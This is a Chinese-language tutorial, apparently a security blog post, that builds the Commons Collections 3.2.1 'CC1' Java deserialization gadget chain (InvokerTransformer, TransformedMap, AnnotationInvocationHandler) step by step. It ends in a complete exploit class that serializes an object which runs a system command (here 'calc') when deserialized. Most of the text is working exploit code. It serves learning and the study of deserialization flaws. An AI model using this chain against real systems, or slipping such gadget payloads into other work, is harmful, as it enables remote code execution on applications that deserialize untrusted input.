0x01 环境搭建

首先正常创建Java项目,这里使用maven管理工具,JDK要求8u_65(高版本会被修复),如下图。

maven添加CC1依赖

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

如果能成功导入以下包,则证明依赖安装成功

import org.apache.commons.collections.functors.InvokerTransformer;

接下来修改sun包方便阅读源码,已有的JDK是 .class 文件,是已经编译完了的反编译代码,相对.java文件不太友好

在上述给出的链接中下载zip包并解压

  1. 先解压之前的JDK中的src.zip,如下

  1. 在刚刚下载的OpenJDK\jdk-8u65\src\share\classes目录下找到sun,放入上面的src

  1. 在IDEA->Project Structure->SDKs->1.8_65->Sourcepath加入该目录

0x02 Common-Collections 相关介绍

Apache Commons Collections包和简介 | 闪烁之狐

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

包结构介绍

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

0x03 CC1攻击链分析(TransformMap)

首先回顾复习一下反序列化攻击思路

寻找尾部危险方法

因为这里是学习,直接去看Transformer接口

快捷键 ctrl + alt + B,查看实现接口的类。

这里跟着b站up白日梦组长看了几个实现类,最终在InvokerTransformertransform()方法看到了反射调用,这里可以调用任意类任意方法,也就符合了我们攻击的要求。

这里尝试使用这个类简单calc一下

这里是利用反射的简单demo小样

 public static void main(String[] args) throws Exception {
//        Runtime.getRuntime().exec("calc");
        Runtime rt = Runtime.getRuntime();
        Class c = rt.getClass();
        Method execMethod = c.getMethod("exec", String.class);
        execMethod.invoke(rt, "calc");
    }

接下来根据InvokerTransformer类来写

package com.hsad;

import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Method;

public class Draft {
    public static void main(String[] args) throws Exception {
        Runtime rt = Runtime.getRuntime();
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(rt);
    }
}

寻找反序列化链

我们已经找到在InvokerTransformer类存在危险方法transform(),接下来寻找谁调用了这个方法

跟进transform()方法,使用Find usages

Ctrl+Shift+Alt+F7选择All Places

这里就直接点出TransformedMapcheckSetValue()方法调用了transform()方法

先跟着看一下valueTransformer,这里找到了TransformedMap构造函数,这里为protected,但是上面有个静态方法调用了构造函数

因为TransformedMap类是protected的,无法直接获取到对象,可以借助decorateTransform这个静态方法来构造,然后利用反射来命令执行,来写一个demo小样

public static void main(String[] args) throws Exception {
        Runtime rt = Runtime.getRuntime();

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//        invokerTransformer.transform(rt);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
        Class<TransformedMap> transformedMapClass = TransformedMap.class;
        Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
        checkSetValueMethod.setAccessible(true);
        checkSetValueMethod.invoke(decorateMap, rt);

    }

继续往下找,看看谁调用了checkSetValue()方法,发现这是一个抽象类,是 TransformedMap 的父类。

调用 checkSetValue 方法的类是 AbstractInputCheckedMapDecorator 类中的一个内部类 MapEntry

setValue() **实际上就是在 Map 中对一组 entry(键值对)**进行 setValue() 操作。

所以,我们在进行 .decorate 方法调用,进行 Map 遍历的时候,就会走到 setValue() 当中,而 setValue() 就会调用 checkSetValue

public static void main(String[] args) throws Exception {
        Runtime rt = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//        invokerTransformer.transform(rt);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("a", "b");
        Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
//        遍历Map来触发setValue
        for(Map.Entry entry:decorateMap.entrySet()){
            entry.setValue(rt);
        }

    }

反序列化入口-readObject()

接下来我们继续跟进,发现AnnotationInvocationHandlerreadObject()方法调用了setValue()方法,至此我们的链子已经完整了

我们注意到类的名字为 AnnotationInvocationHandlerInvocationHandler 这个后缀,我在动态代理里面提到过,是用做动态代理中间处理,因为它继承了 InvocationHandler 接口。

0x04 CC1 Exp(TransformMap)

理想状态

我们只需要通过反射的方式来获取 AnnotationInvocationHandler 类及其构造函数,再实例化它,然后反序列化即可。

package com.hsad;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Exploit {
    public static void main(String[] args) throws Exception {
        Runtime rt = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("a", "b");
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 根据AnnotationInvocationHandler构造函数获取其构造器
        Constructor aiconstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aiconstructor.setAccessible(true);
        Object o = aiconstructor.newInstance(Override.class, transformedMap);
        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

不过并没有成功弹出calc,寻找一下问题:

  1. Runtime 对象不可序列化,需要通过反射将其变成可以序列化的形式。
  2. setValue() 的传参,是需要传 Runtime 对象的;而在实际情况当中的 setValue() 的传参是这个东西

  1. 之前提到的if条件

Fix:Runtime对象不可序列化

Runtime 是不能序列化的,但是 Runtime.class 是可以序列化的

先写一下Runtime.class的普通反射

public static void main(String[] args) throws Exception {
        Class c = Runtime.class;
        Method method = c.getDeclaredMethod("getRuntime");
        Runtime newRuntime = (Runtime) method.invoke(null, null);
        Method execMethod = c.getDeclaredMethod("exec", String.class);
        execMethod.invoke(newRuntime, "calc");
    }

然后将这个反射的 Runtime 改造为使用 InvokerTransformer 调用的方式

public static void main(String[] args) throws Exception {
        Class c = Runtime.class;
//        对应Method method = c.getDeclaredMethod("getRuntime");
        Method runtimeMethod = (Method) new InvokerTransformer("getDeclaredMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", null}).transform(c);
//        对应Runtime newRuntime = (Runtime) method.invoke(null, null);
        Runtime runtime = (Runtime) new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, null}).transform(runtimeMethod);
//        对应Method execMethod = c.getDeclaredMethod("exec", String.class);
//        对应execMethod.invoke(newRuntime, "calc");
        new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"calc"}).transform(runtime);
    }

上述代码有很多复用性,所以我们可以使用ChainedTransformer类来简化代码

package com.hsad.Fix;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class FixRuntime_Chain {
    public static void main(String[] args) throws Exception {
        Transformer[] transformer = new Transformer[] {
                new InvokerTransformer("getDeclaredMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformer);
        chainedTransformer.transform(Runtime.class);
    }
}

和之前写好的结合一下

package com.hsad;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Exploit {
    public static void main(String[] args) throws Exception {
        Transformer[] transformer = new Transformer[] {
                new InvokerTransformer("getDeclaredMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformer);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("a", "b");
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 根据AnnotationInvocationHandler构造函数获取其构造器
        Constructor aiconstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aiconstructor.setAccessible(true);
        Object o = aiconstructor.newInstance(Override.class, transformedMap);
        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

此时transform()的值并没有被正确设置,并不会弹出计算器

Fix:memberType为null

这个时候我们可以打断点调试一下,发现此时memberType为null

因为memberValue是可控的是我们传入的transformedMap,它触发getKey()只会获得我们当时随意设置的"a",而memberType是我们传入的第一个参数Override.class,它里面并没有一个方法为"a"所以此时memberType为null。

那么解决这个问题只需要修改我们传入的第一个参数,并设置mapkey为他的方法的名字

当我们设置传入第一个参数为Target.class,ke为value时,此时memberType便不为null

Fix:setValue的传参

在第二个if条件中,setValue的值并不为我们期望的Runtime.class,而是AnnotationTypeMismatchExceptionProxy

那我们这里找到了一个能够解决 setValue 可控参数的类 ———— ConstantTransformer

  • 构造方法:传入的任何对象都放在 iConstant

  • transform() 方法:无论传入什么,都返回 iConstant,这就类似于一个常量了。

那么我们可以利用这一点,将 AnnotationTypeMismatchExceptionProxy 类作为 transform() 方法的参数,也就是这个无关的类,作为参数,我们先传入一个 Runtime.class,然后无论 transform() 方法会调用什么对象,都会返回 Runtime.class

至此我们的问题都全部解决

0x05 Exploit

以下就是最终Exp:

package com.hsad;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Exploit {
    public static void main(String[] args) throws Exception {
        Transformer[] transformer = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformer);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value", "b");
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 根据AnnotationInvocationHandler构造函数获取其构造器
        Constructor aiconstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aiconstructor.setAccessible(true);
        Object o = aiconstructor.newInstance(Target.class, transformedMap);
        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
利用链:
InvokerTransformer#transform
    TransformedMap#checkSetValue
        AbstractInputCheckedMapDecorator#setValue
            AnnotationInvocationHandler#readObject
工具类辅助利用链:
ConstantTransformer
ChainedTransformer
HashMap